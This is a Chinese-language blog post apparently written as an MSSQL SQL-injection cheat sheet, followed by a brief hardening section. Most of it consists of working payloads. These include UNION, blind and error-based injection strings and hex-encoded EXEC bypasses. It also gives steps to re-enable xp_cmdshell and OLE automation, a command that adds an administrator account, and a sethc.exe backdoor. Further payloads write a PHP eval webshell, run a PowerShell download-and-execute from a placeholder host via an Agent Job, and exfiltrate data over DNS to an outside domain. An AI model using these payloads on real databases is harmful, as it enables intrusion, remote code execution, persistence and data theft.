MSSQL注入攻击与防御

总结一下在MSSQL注入中的攻击与防御.

Posted by Rootclay on 2017-05-04

MSSQL注入攻击与防御

author:rootclay@syclover

上一篇投稿在安全客的文章已经为大家推出了MySQL注入攻击与防御,这里再写一下MSSQL注入攻击与防御,同样对与错误的地方希望大家指出共同进步
本文所用数据库涉及SQL Server 2k5,2k8,2k12,其次对于绕过姿势和前文并无太大差别,就不做过多的讲解,主要放在后面的提权上

系统库

库名 解释
master master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
model model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
tempdb tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。
msdb msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。

注释

库名 解释
/* C注释风格
SQL注释风格
;%00 空字节

实例:

1
2
SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';

版本&数据库当前用户&主机名

版本

select @@VERSION

1
2
如果是2012的数据库返回为True
SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2012%';

数据库当前用户

解释 代码
查询用户 select name, loginame from master…syslogins, master…sysprocesses
当前用户 user, system_user, suser_sname(), is_srvrolemember(‘sysadmin’)
用户密码 SELECT user, password FROM master.dbo.syslogins

实例:

1
2
3
4
5
Return current user:
SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;
Check if user is admin:
SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);

主机名

1
select @@SERVERNAME

库&表&列

库名

解释 代码
查询库名 select name from master…sysdatabases
查询库名 select DB_NAME(i)

测试列数

ORDER BY n+1;
实例:

1
2
3
4
5
6
query: SELECT username, password FROM Users WHERE id = '1';
1' ORDER BY 1-- True
1' ORDER BY 2-- True
1' ORDER BY 3-- False - 查询使用了2列
-1' UNION SELECT 1,2-- True

GROUP BY / HAVING

实例:

1
2
3
4
5
6
7
query: SELECT username, password FROM Users WHERE id = '1';
1' HAVING 1=1 -- 错误
1' GROUP BY username HAVING 1=1-- -- 错误
1' GROUP BY username, password HAVING 1=1-- -- 正确
Group By可以用来测试列名

获取表名

UNION查询 BLIND查询 报错查询
UNION SELECT name FROM master…sysobjects WHERE xtype=‘U’ AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > ‘A’ AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))

这里使用的U表示用户表,还有视图和存储过程分别表示为 U = 用户表, V = 视图 , X = 扩展存储过程

获取列名

UNION查询 BLIND查询 报错查询
UNION SELECT name FROM master…syscolumns WHERE id = (SELECT id FROM master…syscolumns WHERE name = ‘tablename’) AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > ‘A’ AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)

AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))

接收多条数据

临时表

除了上述的查询方式在MSSQL中可以使用临时表来查看数据,步骤如下

1
2
3
4
5
6
//1.创建临时表/列和插入数据:
BEGIN DECLARE @test varchar(8000) SET @test=':' SELECT @test=@test+' '+name FROM sysobjects WHERE xtype='U' AND name>@test SELECT @test AS test INTO TMP_DB END;
//2.转储内容:
SELECT TOP 1 SUBSTRING(test,1,353) FROM TMP_DB;
//3.删除表:
DROP TABLE TMP_DB;
XML列数据
1
SELECT table_name FROM information_schema.tables FOR XML PATH('')

字符串连接符

相对于MySQL来说少了两个函数,有如下方式连接:

1
2
SELECT CONCAT('a','a','a'); (SQL SERVER 2012)
SELECT 'a'+'d'+'mi'+'n';

条件语句&时间

条件语句

1
2
IF...ELSE...//注意IF是不能再SELECT语句中使用的
CASE...WHEN...ELSE...

实例:

1
2
IF 1=1 SELECT 'true' ELSE SELECT 'false';
SELECT CASE WHEN 1=1 THEN true ELSE false END;

时间

1
2
WAITFOR DELAY 'time_to_pass';
WAITFOR TIME 'time_to_execute';
1
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';//这里表示,如果条件成立,延迟5s

文件

查看文件权限

1
2
3
CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM ‘c:boot.ini’;
DROP TABLE mydata;

定位数据库文件

1
EXEC sp_helpdb master; –location of master.mdf

绕过技巧

这里讲绕过技巧的话其实很多和MySQL的绕过姿势都是类似的,就举几个常见的,其他的可以参见前面的MySQL注入攻击与防御

绕过引号

1
SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)

16进制转换绕过

1
' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--

MSSQL提权

这里先推荐一个工具PowerUpSQL,主要用于对SQL Server的攻击,还能快速清点内网中SQL Server的机器,更多的信息可以到GitHub上查看使用.

其次下面主要讲的一些提权姿势为存储过程提权,想要查看数据库中是否有对应的存储过程,可以用下面的语句:

1
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

或者查询对应数据库中定义的存储过程有哪些:

1
2
3
SELECT ROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION
FROM MASTER.INFORMATION_SCHEMA.ROUTINES
ORDER BY ROUTINE_NAME

推荐一篇文章,是关于证书登录提权的文章

xp_cmdshell

1
EXEC master.dbo.xp_cmdshell 'cmd';

最为经典的就是这个组件了,但是2005之后就默认关闭,而且现在来说都会把这个扩展删除掉

激活命令
1.EXEC sp_configure ‘show advanced options’, 1
2.EXEC sp_configure reconfigure
3.EXEC sp_configure ‘xp_cmdshell’, 1
4.EXEC sp_configure reconfigure

因为xp_cmdshell用得最多,这里就xp_cmdshell使用过程中可能遇到的和网上收集问题列举一下:

首先说明一下,下面用到的addextendedproc的时候是没有开启的,试了一些语句,下面的语句可以创建一个存储过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
use master
go
create procedure sp_addextendedproc
@functname nvarchar(517),
@dllname varchar(255)
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0)
  1. 未能找到存储过程’master…xpcmdshell’.
    恢复方法:
1
2
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll' declare @o int
EXEC sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
  1. 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
    恢复方法:
1
2
EXEC sp_dropextendedproc "xp_cmdshell"
EXEC sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
  1. 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
    恢复方法:
1
2
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
  1. SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
    恢复方法:
1
执行:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

xp_dirtree

获取文件信息,可以列举出目录下所有的文件与文件夹
参数说明:目录名,目录深度,是否显示文件

1
2
3
execute master..xp_dirtree 'c:'
execute master..xp_dirtree 'c:',1
execute master..xp_dirtree 'c:',1,1

OPENROWSET

OPENROWSET 在MSSQL 2005及以上版本中默认是禁用的.需要先打开:
打开语句:

激活命令
1.EXEC sp_configure ‘show advanced options’, 1
2.EXEC sp_configure reconfigure
3.EXEC sp_configure ‘Ad Hoc Distributed Queries’, 1
4.EXEC sp_configure reconfigure

然后执行:

1
SELECT * FROM OPENROWSET('SQLOLEDB', '数据库地址';'数据库用户名';'数据库密码', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');

这种攻击是需要首先知道用户密码的.

沙盒

1
2
3
4
开启沙盒:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
执行命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

SP_OACREATE

其实xp_cmdshell一般会删除掉了,如果xp_cmdshell 删除以后,可以使用SP_OACreate
需要注意的是这个组件是无回显的,你可以把他直接输出到web目录下的文件然后读取

激活命令
1.EXEC sp_configure ‘show advanced options’, 1
2.EXEC sp_configure reconfigure
3.EXEC sp_configure ‘Ole Automation Procedures’, 1
4.EXEC sp_configure reconfigure

下面是收集来的sp_OACreate的一些命令:

解释 命令
sp_OACreate复制文件 declare @o int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘copyfile’,null,‘c:\windows\explorer.exe’ ,‘c:\windows\system32\sethc.exe’;
sp_OACreate删除文件 DECLARE @Result int
DECLARE @FSO_Token intEXEC @Result = sp_OACreate ‘Scripting.FileSystemObject’,@FSO_Token OUTPUTEXEC @Result = sp_OAMethod @FSO_Token, ‘DeleteFile’, NULL, 'C:\1.txt’
EXEC @Result = sp_OADestroy @FSO_Token
sp_OACreate移动文件 declare @aa int
exec sp_oacreate ‘scripting.filesystemobject’, @aa out
exec sp_oamethod @aa, ‘moveFile’,null,‘c:\test.txt’, ‘c:\test1.txt’;
sp_OACreate加管理员用户 DECLARE @js int
EXEC sp_OACreate ‘ScriptControl’,@js OUT
EXEC sp_OASetProperty @js, ‘Language’, 'JavaScript’
EXEC sp_OAMethod @js, ‘Eval’, NULL, ‘var o=new
ActiveXObject(“Shell.Users”);z=o.create(“user”);z.changePassword(“pass”,"");z.setting(“AccountType”)=3;’

Agent Job

关于Agent job执行命令的这种情况是需要开启了MSSQL Agent Job服务才能执行,这里列出命令,具体的原理在安全客已经有过总结这里

1
2
3
4
5
6
7
8
9
10
11
12
USE msdb;
EXEC dbo.sp_add_job @job_name = N'clay_powershell_job1' ;
EXEC sp_add_jobstep
@job_name = N'clay_powershell_job1',
@step_name = N'clay_powershell_name1',
@subsystem = N'PowerShell',
@command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://Your_IP/Your_file''))"',
@retry_attempts = 1,
@retry_interval = 5;
EXEC dbo.sp_add_jobserver
@job_name = N'clay_powershell_job1';
EXEC dbo.sp_start_job N'clay_powershell_job1';

Else

MSSQL还有其他的很多存储过程可以调用,下面做一个小列举,有兴趣的朋友可以逐一研究:

Item Value
1 Registry Stuff (xp_regread)
2 Managing Services (xp_servicecontrol)
3 Medias (xp_availablemedia)
4 ODBC Resources (xp_enumdsn)
5 Login mode (xp_loginconfig)
6 Creating Cab Files (xp_makecab)
7 Domain Enumeration (xp_ntsec_enumdomains)
8 Process Killing (need PID) (xp_terminate_process)
9 Add new procedure (virtually you can execute whatever you want)
10 sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
11 exec xp_webserver
12 Write text file to a UNC or an internal path (sp_makewebtask)

下面是关于一些存储过程调用的例子:

Item Value
sp_makewebtask 写shell exec sp_makewebtask ‘c:\windows.txt’,’ select ‘’<%25php @eval($_POST[‘clay’])%25>’’ ';;–
wscript.shell use master
declare @o int
exec sp_oacreate ‘wscript.shell’,@o out
exec sp_oamethod @o,‘run’,null,‘cmd /c “net user” > c:\test.tmp’
Shell.Application declare @o int
exec sp_oacreate ‘Shell.Application’, @o out
exec sp_oamethod @o, ‘ShellExecute’,null, ‘cmd.exe’,‘cmd /c net user >c:\test.txt’,‘c:\windows\system32’,’’,‘1’;
or
exec sp_oamethod @o, ‘ShellExecute’,null, ‘user.vbs’,’’,‘c:’,’’,‘1’;
沙盒 exec master…xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,1 默认为3
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:\windows\system32\ias\ias.mdb’,‘select shell(“cmd.exe /c echo a>c:\b.txt”)’)
public 提权 USE msdb
EXEC sp_add_job @job_name = ‘GetSystemOnSQL’, www.test.com
@enabled = 1,
@description = ‘This will give a low privileged user access to
xp_cmdshell’,
@delete_level = 1
EXEC sp_add_jobstep @job_name = ‘GetSystemOnSQL’,
@step_name = ‘Exec my sql’,
@subsystem = ‘TSQL’,
@command = ‘exec master…xp_execresultset N’‘select ‘’’‘exec
master…xp_cmdshell “dir > c:\agent-job-results.txt”’’’’’’,N’‘Master’’'
EXEC sp_add_jobserver @job_name = ‘GetSystemOnSQL’,
@server_name = 'SERVER_NAME’
EXEC sp_start_job @job_name = ‘GetSystemOnSQL’

Out-of-Band

关于带外注入在上一篇文章已经有讲到,但DNS注入只讲了利用,这里做了一张图为大家讲解,同样的SMB Relay Attack 也是存在的,可自行实现.

下图就是DNS注入中的请求过程
SQL注入中的DNS请求

那么SQL Server的DNS注入和MySQl稍有不容,但都是利用了SMB协议

1
Param=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECT})+'.rootclay.club';'sa';'pwd', 'SELECT 1')

Makes DNS resolution request to {INJECT}.rootclay.club

防御

对于代码上的防御在上一篇文章已有总结,就不多BB了…这里主要说一下存储过程方面的东西

  1. 设置TRUSTWORTHY为offALTER DATABASE master SET TRUSTWORTHY OFF
  2. 确保你的存储过程的权限不是sysadmin权限的
  3. 对于 PUBLIC用户是不能给存储过程权限的REVOKE EXECUTE ON 存储过程 to PUBLIC
  4. 对于自己不需要的存储过程最好删除
  5. 当然,在代码方面就做好防御是最好的选择,可以参见上篇文章

参考

http://www.blackhat.com/presentations/bh-europe-09/Guimaraes/Blackhat-europe-09-Damele-SQLInjection-slides.pdf
http://colesec.inventedtheinternet.com/hacking-sql-server-with-xp_cmdshell/
http://www.cnblogs.com/zhycyq/articles/2658225.html
https://evi1cg.me/tag/mssql/
http://404sec.lofter.com/post/1d16b278_6329f6d